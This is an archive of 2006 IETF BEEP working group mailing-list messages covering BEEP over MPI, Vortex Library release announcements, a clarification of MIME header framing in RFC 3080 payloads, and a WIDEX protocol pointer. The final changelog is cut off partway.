Message-ID: <20060426055908.GA441@ensemble.local>
Mail-Followup-To: beepwg@lists.beepcore.org
References: <20060409010932.GA862@ensemble.local>
	<C244C7D0-0284-4189-8AF7-C1A7F2BF0E7A@dbc.mtview.ca.us>
	<4439517B.2020005@saraswat.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <4439517B.2020005@saraswat.org>
User-Agent: Mutt/1.5.11
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 26 Apr 2006 06:00:39 -0000

Quoting vijay@saraswat.org, on Sun, Apr 09, 2006 at 02:24:59PM -0400:
> Marshall Rose wrote:
> 
> >>I'm trying to figure out if MPI is a general enough message passing
> >>protocol that you could implement BEEP over it, and whether it would
> >>be a good idea. In particular, whether MPI could be faster than TCP.
> >>
> >>Any pointers or thoughts would be greatly appreciated.
> >
> >
> >MPI = http://www-unix.mcs.anl.gov/mpi/standard.html ??? or something  
> >else?
> >
> Very odd thought.
> 
> MPI is used widely as a message-passing API (particularly w/ C,C++ and 
> Fortran) for high performance computing HPC). The synchronous (2-way) 
> MPI is used much more widely than the 1-way (remote memory read/write) 
> enabled version. It supports user-space synchronous message-passing. 
> (There is also support, using immediate/nonblocking mode for 
> asynchronous messaging.) The bulk of MPI is oriented towards supporting 
> collective operations (e.g. all reduce) over a group of such processes 
> participating in point to point interactions with each other (grouped 
> together in a communicator). Not sure this is particularly relevant for 
> BEEP.

> Why would you want to do this? Perhaps what you might be after is that 
> often HPC clusters are built over extremely high-performance 
> interconnects that are non-IP-based. For instance, ARMCI and LAPI, based 
> on infiniband/quadrics/myrinet/IBM Federation switches  and other 
> network I/O cards

Yes, exactly. Its not me in particular. I was making a "hallway pitch"
to consider using BEEP to replace parts of the proprietary inter-machine
protocols used by our application, and I got a bit of traction, but I
keep hearing about a long-term goal of "using MPI because it will be
faster than the TCP we currently use".

> http://citeseer.ist.psu.edu/nieplocha99armci.html
> http://www.emsl.pnl.gov/docs/global/papers/lapi.pdf
> 
> (There is also GASNet, http://gasnet.cs.berkeley.edu/)
> 
> So you might consider layering on top of these.

I think there is some consideration of MPI, because its thought that it
will theoretically allow us access in an API independent way to fast
system interconnects.

> What are you really after?

I think its unlikely that MPI is a general purpose "fast" way of getting
asynchronous messages between nodes, and I'd like to nip in the bud any
suggestion that we can't consider BEEP because we'll be using MPI some
time in the future. Or alternatively, be able to say that BEEP could run
over MPI if we ever needed it to.

Thanks a lot for your comments.

Sam

From francis@aspl.es Fri Apr 28 08:00:36 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k3SF0Yl9007960;	Fri, 28 Apr 2006 08:00:35 -0700
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1FZUSB-00048m-00; Fri, 28 Apr 2006 17:00:19 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>, BEEP <beepbuilders@lists.beepcore.org>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 28 Apr 2006 17:00:21 +0200
Message-Id: <1146236421.4025.6.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.4.2.1 
X-Scanner: exiscan *1FZUSB-00048m-00*ZBh.RTqPLdU*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k3SF0Yl9007960
Subject: [BEEPwg] [ANN] Vortex Library 0.8.11 is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 28 Apr 2006 15:00:42 -0000

       ###########################################
       ## Vortex Library 0.8.11 Stable Release  ##
       ###########################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 0.8.11 availability: an open source "BEEP Core" protocol
  implementation written in C, mapped onto TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  A new library have been developed to disable LibXML-2.0 dependency:
  Axl Library. Now Vortex Library have its own XML toolkit enabling to
  produce better tailored XML solutions, especially, those profiles
  that requires XML for its function.

  A complete XML-RPC profile implementation have been added.

Changes since 0.8.11
~~~~~~~~~~~~~~~~~~~~

  This is a short release note, for full details check: 

  http://lists.aspl.es/pipermail/vortex/2006-April/000016.html

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services on how organization can introduce GNU/Linux
  inside its process, making other platforms to interact with
  GNU/Linux.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
28th Apr 2006, Madrid (Spain)
  




From mrose@dbc.mtview.ca.us Fri Apr 28 08:18:46 2006
Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	k3SFHpcE008376;	Fri, 28 Apr 2006 08:18:44 -0700
In-Reply-To: <1146236421.4025.6.camel@vulcan.aspl>
References: <1146236421.4025.6.camel@vulcan.aspl>
Mime-Version: 1.0 (Apple Message framework v749.3)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <9336205B-A1BE-4D20-8338-FE6E0BB4C3D2@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] [ANN] Vortex Library 0.8.11 is ready!
Date: Fri, 28 Apr 2006 17:18:39 +0200
To: Francis Brosnan Blazquez <francis@aspl.es>
X-Mailer: Apple Mail (2.749.3)
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: BEEP <beepbuilders@lists.beepcore.org>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 28 Apr 2006 15:18:47 -0000

>   Advanced Software Production Line is proud to announce the Vortex
>   Library 0.8.11 availability: an open source "BEEP Core" protocol
>   implementation written in C, mapped onto TCP/IP.

congrats!

/mtr

From francis@aspl.es Fri Apr 28 09:09:11 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k3SG98kv009083;	Fri, 28 Apr 2006 09:09:09 -0700
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1FZVWV-0005bq-00; Fri, 28 Apr 2006 18:08:51 +0200
Subject: Re: [BEEPwg] [ANN] Vortex Library 0.8.11 is ready!
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Marshall Rose <mrose@dbc.mtview.ca.us>
In-Reply-To: <9336205B-A1BE-4D20-8338-FE6E0BB4C3D2@dbc.mtview.ca.us>
References: <1146236421.4025.6.camel@vulcan.aspl>
	 <9336205B-A1BE-4D20-8338-FE6E0BB4C3D2@dbc.mtview.ca.us>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 28 Apr 2006 18:08:54 +0200
Message-Id: <1146240534.4025.22.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.4.2.1 
X-Scanner: exiscan *1FZVWV-0005bq-00*VPK8kInse7M*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k3SG98kv009083
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: BEEP <beepbuilders@lists.beepcore.org>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 28 Apr 2006 16:09:14 -0000

El vie, 28-04-2006 a las 17:18 +0200, Marshall Rose escribió:
> congrats!

Thanks Marshall!!

> 
> /mtr
> 
-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From ietf-beepwg@gmane.org Tue May 30 17:05:15 2006
Received: from ciao.gmane.org (main.gmane.org [80.91.229.2])
	k4V05EiV003644
	for <beepwg@lists.beepcore.org>; Tue, 30 May 2006 17:05:15 -0700
Received: from root by ciao.gmane.org with local (Exim 4.43)
	id 1FlECs-00044C-5h
	for beepwg@lists.beepcore.org; Wed, 31 May 2006 02:05:02 +0200
Received: from adsl-71-154-201-182.dsl.sndg02.sbcglobal.net ([71.154.201.182])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <beepwg@lists.beepcore.org>; Wed, 31 May 2006 02:05:02 +0200
Received: from seh by adsl-71-154-201-182.dsl.sndg02.sbcglobal.net with local
	(Gmexim 0.1 (Debian))        id 1AlnuQ-0007hv-00
	for <beepwg@lists.beepcore.org>; Wed, 31 May 2006 02:05:02 +0200
X-Injected-Via-Gmane: http://gmane.org/
To: beepwg@lists.beepcore.org
From: "Steven E. Harris" <seh@panix.com>
Date: Tue, 30 May 2006 16:59:45 -0700
Organization: SEH Labs
Lines: 35
Message-ID: <q94y7wjawsv.fsf@chlorine.gnostech.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: adsl-71-154-201-182.dsl.sndg02.sbcglobal.net
User-Agent: Gnus/5.110006 (No Gnus v0.6) XEmacs/21.4.13 (cygwin32)
Cancel-Lock: sha1:nOgDPkx3m1L+q8ewFt0Pds8g3dw=
Sender: news <news@sea.gmane.org>
Subject: [BEEPwg] Minimal presence of MIME headers in message payload
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 31 May 2006 00:05:16 -0000

Per RFC 3080 Section 2.2, MIME headers may be used to describe message
payload content:

,----
| A message is structured according to the rules of MIME.  Accordingly,
| each message may begin with "entity-headers" (c.f., MIME's Section 3
| [1]).  If none, or only some, of the "entity-headers" are present:
`----

In the case where /no/ headers are present, is there just a spare CRLF
pair at the beginning of the payload after the BEEP header? That is,
would the following message be valid?

,----
| MSG 0 1 . 0 5
| 
| xxxEND
`----

Or could one send the same content without the spare CRLF pair?

,----
| MSG 0 1 . 0 3
| xxxEND
`----

With the latter, there would be no way to know where the MIME headers
end (given that they never began), so the former example seems more
likely to be the only valid choice. However, this base case with no
headers is hard to resolve from the MIME ABNF, nor are there any
similar header-less examples shown in RFC 3080 or 3081. Clarification
would be appreciated.

-- 
Steven E. Harris

From ietf-beepwg@gmane.org Wed May 31 08:54:32 2006
Received: from ciao.gmane.org (main.gmane.org [80.91.229.2])
	k4VFsVuN017889
	for <beepwg@lists.beepcore.org>; Wed, 31 May 2006 08:54:31 -0700
Received: from list by ciao.gmane.org with local (Exim 4.43)
	id 1FlT1U-0003hW-G7
	for beepwg@lists.beepcore.org; Wed, 31 May 2006 17:54:16 +0200
Received: from adsl-71-154-201-182.dsl.sndg02.sbcglobal.net ([71.154.201.182])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <beepwg@lists.beepcore.org>; Wed, 31 May 2006 17:54:16 +0200
Received: from seh by adsl-71-154-201-182.dsl.sndg02.sbcglobal.net with local
	(Gmexim 0.1 (Debian))        id 1AlnuQ-0007hv-00
	for <beepwg@lists.beepcore.org>; Wed, 31 May 2006 17:54:16 +0200
X-Injected-Via-Gmane: http://gmane.org/
To: beepwg@lists.beepcore.org
From: "Steven E. Harris" <seh@panix.com>
Date: Wed, 31 May 2006 08:52:59 -0700
Organization: SEH Labs
Lines: 24
Message-ID: <q9464jmb38f.fsf@chlorine.gnostech.com>
References: <q94y7wjawsv.fsf@chlorine.gnostech.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: adsl-71-154-201-182.dsl.sndg02.sbcglobal.net
User-Agent: Gnus/5.110006 (No Gnus v0.6) XEmacs/21.4.13 (cygwin32)
Cancel-Lock: sha1:QEjxlzySiGslvUWGjJXBINg9cI0=
Sender: news <news@sea.gmane.org>
Subject: [BEEPwg] Re: Minimal presence of MIME headers in message payload
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 31 May 2006 15:54:32 -0000

"Steven E. Harris" <seh@panix.com> writes:

> In the case where /no/ headers are present, is there just a spare
> CRLF pair at the beginning of the payload after the BEEP header?

I found a message from this mailing list in August 2000¹ that shows a
more detailed ABNF indicating the payload content requires at least
one CRLF pair:

  mime       = <MIME Content {entity-headers} from RFC 2045>
  payload    = [mime] CR LF *OCTET


I have not yet found a follow-up message arguing against this
definition, but it apparently did not make it into RFC 3080.


Footnotes: 
¹ [BXXPwg] proposal for 1:N interactions
  Marshall Rose
  http://drakken.dbc.mtview.ca.us/pipermail/beepwg/2000-August/000823.html

-- 
Steven E. Harris

From mrose@dbc.mtview.ca.us Wed May 31 09:35:18 2006
Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	k4VGZCu7018488;	Wed, 31 May 2006 09:35:14 -0700
In-Reply-To: <q94y7wjawsv.fsf@chlorine.gnostech.com>
References: <q94y7wjawsv.fsf@chlorine.gnostech.com>
Mime-Version: 1.0 (Apple Message framework v750)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <3F7EFD18-D275-4E1C-AF8D-187AB831F687@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] Minimal presence of MIME headers in message payload
Date: Wed, 31 May 2006 09:35:07 -0700
To: "Steven E. Harris" <seh@panix.com>
X-Mailer: Apple Mail (2.750)
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 31 May 2006 16:35:18 -0000

> Per RFC 3080 Section 2.2, MIME headers may be used to describe message
> payload content:
>
> ,----
> | A message is structured according to the rules of MIME.   
> Accordingly,
> | each message may begin with "entity-headers" (c.f., MIME's Section 3
> | [1]).  If none, or only some, of the "entity-headers" are present:
> `----
>
> In the case where /no/ headers are present, is there just a spare CRLF
> pair at the beginning of the payload after the BEEP header?

yes.


> That is,
> would the following message be valid?
>
> ,----
> | MSG 0 1 . 0 5
> |
> | xxxEND
> `----

yes.


> Or could one send the same content without the spare CRLF pair?
>
> ,----
> | MSG 0 1 . 0 3
> | xxxEND
> `----

no, for the reason you list.

/mtr

From ietf-beepwg@gmane.org Wed May 31 09:47:11 2006
Received: from ciao.gmane.org (main.gmane.org [80.91.229.2])
	k4VGlASt018707
	for <beepwg@lists.beepcore.org>; Wed, 31 May 2006 09:47:11 -0700
Received: from list by ciao.gmane.org with local (Exim 4.43)
	id 1FlTqJ-0005b8-9x
	for beepwg@lists.beepcore.org; Wed, 31 May 2006 18:46:47 +0200
Received: from adsl-71-154-201-182.dsl.sndg02.sbcglobal.net ([71.154.201.182])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <beepwg@lists.beepcore.org>; Wed, 31 May 2006 18:46:47 +0200
Received: from seh by adsl-71-154-201-182.dsl.sndg02.sbcglobal.net with local
	(Gmexim 0.1 (Debian))        id 1AlnuQ-0007hv-00
	for <beepwg@lists.beepcore.org>; Wed, 31 May 2006 18:46:47 +0200
X-Injected-Via-Gmane: http://gmane.org/
To: beepwg@lists.beepcore.org
From: "Steven E. Harris" <seh@panix.com>
Date: Wed, 31 May 2006 09:46:24 -0700
Organization: SEH Labs
Lines: 17
Message-ID: <q94zmgy9m6y.fsf@chlorine.gnostech.com>
References: <q94y7wjawsv.fsf@chlorine.gnostech.com>
	<q9464jmb38f.fsf@chlorine.gnostech.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: adsl-71-154-201-182.dsl.sndg02.sbcglobal.net
User-Agent: Gnus/5.110006 (No Gnus v0.6) XEmacs/21.4.13 (cygwin32)
Cancel-Lock: sha1:y/zxyNQj/doW0mS2NGburTTftrU=
Sender: news <news@sea.gmane.org>
Subject: [BEEPwg] Re: Minimal presence of MIME headers in message payload
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 31 May 2006 16:47:11 -0000

"Steven E. Harris" <seh@panix.com> writes:

> I have not yet found a follow-up message arguing against this
> definition, but it apparently did not make it into RFC 3080.

Here are a couple of more messages supporting the proposed
interpretation:

  [BXXPwg] MIME header is gone
  Marshall T. Rose
  http://drakken.dbc.mtview.ca.us/pipermail/beepwg/2000-December/001032.html

  Wolfgang Hoschek
  http://drakken.dbc.mtview.ca.us/pipermail/beepwg/2000-December/001033.html

-- 
Steven E. Harris

From francis@aspl.es Mon Jun 12 08:34:22 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k5CFYK77027787
	for <beepwg@lists.beepcore.org>; Mon, 12 Jun 2006 08:34:21 -0700
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1FpoQa-0007oj-00
	for <beepwg@lists.beepcore.org>; Mon, 12 Jun 2006 17:34:08 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Mon, 12 Jun 2006 17:36:59 +0200
Message-Id: <1150126620.11428.271.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.4.2.1 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1FpoQa-0007oj-00*hNonxmVgy7U*
Subject: [BEEPwg] WIDEX protocol and BEEP
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Jun 2006 15:34:22 -0000

Hi all!

For those interested, there is a new on-going definition, called WIDEX,
which tries to implement a decoupled remote user interface, that uses
BEEP for its transport. You'll find current drafts defined here [1].

I hope you find this useful,

Cheers!

[1] http://www.beepcore.org/news.html

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From francis@aspl.es Fri Jul  7 13:19:56 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k67KJs95019804
	for <beepwg@lists.beepcore.org>; Fri, 7 Jul 2006 13:19:55 -0700
Received: from localhost ([127.0.0.1])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1Fywna-0001Sr-00
	for <beepwg@lists.beepcore.org>; Fri, 07 Jul 2006 22:19:38 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: beepwg@lists.beepcore.org
Content-Type: text/plain; charset=ISO-8859-1
Organization: Advanced Software Production Line, S.L.
Date: Fri, 07 Jul 2006 22:19:57 +0200
Message-Id: <1152303598.4181.5.camel@tot.home>
Mime-Version: 1.0
X-Mailer: Evolution 2.6.1 
X-Scanner: exiscan *1Fywna-0001Sr-00*8nsGij4DXv.*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k67KJs95019804
Subject: [BEEPwg] [ANN] Vortex Library 0.9.0 is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
Reply-To: francis@aspl.es
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 07 Jul 2006 20:19:56 -0000

       ###########################################
       ##  Vortex Library 0.9.0 Stable Release  ##
       ###########################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 0.9.0 availability: an open source "BEEP Core" protocol
  implementation written in C, mapped onto TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  A complete XML-RPC over BEEP implementation inside Vortex Library is
  now completed with the new xml-rpc-gen tool. This protocol compiler
  allows to produce client stubs and XML-RPC servers from a few
  lines. See Vortex XML-RPC Manual for more details.

Thanks to..
~~~~~~~~~~~

  Milton Yates (SASL server side API extension with a user defined
  pointer), Gustavo Sverzut (patches and bug reports related to SEQ
  frames and frame re-sequence code), Philip Kovacs (bug reports, test
  cases and suggestions done).
  

Changes since 0.8.11
~~~~~~~~~~~~~~~~~~~~

* [fix] fixing c header for server stub generation.

* [fix] fixing some comments and adding more documentation to the
  XML-RPC API.

* [new] finished a initial complete implementation to produce an
  XML-RPC server component from the XDL specification. Great!!

* [fix] updating XDL draft to replace the internal node reference
  <value> for a type node <type> for structure members.

* [fix] documentation fixings (XML-RPC).

* [fix] added a new section to the manual explaining how MIME
  information is used inside Vortex Library.

* [new] adding initial implementation to create C stub headers (and
  its body) for struct support for the xml-rpc-gen tool.

* [new] adding support to generate the struct support header file for
   the C stub.

* [new] Adding initial complete support to produce a struct header
  with marshalling, unmarshalling and deallocation functions inside
  the C stub header: GREAT!!!

* [fix] Making struct members to allocate attributes configured for
  those items that require it (string, base64, struct and array).

* [fix] making vortex_exit call to not produce the exit sequence
  unless detected that the library was initialized.

* [fix] working on adding XmlRpcArray parameter support for the
  xml-rpc-gen tool.

* [fix] adding missing reference to the xml-rpc.dtd file to be
  installed at the Makefile.am.

* [fix] Updating xml-rpc.dtd to allow optional empty definitions for
  <params> node (0 parameters).

* [fix] some updates to include TLS files (and the missing
  libeay32.dll) into the w32 bundle. Updated NSI definitions and
  Makefile.win to include those files.

* [new] Adding more API to the XML-RPC implementation for XmlRpcArray
  construction:

  - vortex_xml_rpc_array_new
  - vortex_xml_rpc_array_free
  - vortex_xml_rpc_array_count
  - vortex_xml_rpc_array_max_count
  - vortex_xml_rpc_array_get
  - vortex_xml_rpc_array_set
  - vortex_xml_rpc_array_add

* [new] Adding two new unmarshaller functions to allow building C
  stubs that supports XmlRpcStruct and XmlRpcArray as incoming
  parameters and as results:

  - XmlRpcArrayUnMarshaller
  - XmlRpcStructUnMarshaller

* [new] adding support to xml-rpc-gen tool to locate data files at the
  installation directory (and the current directory). Data directory
  is now configurable. API borrowed from vortex support module.

* [new] adding more API to the thread pool to allow configure the
  exclusive thread pool behavior and the number of threads
  available. API added:

   - vortex_thread_pool_set_num
   - vortex_thread_pool_set_exclusive_pool

* [new] adding initial support to create the array module definition,
  for the C stub, for the xml-rpc-gen tool. Header definition is now
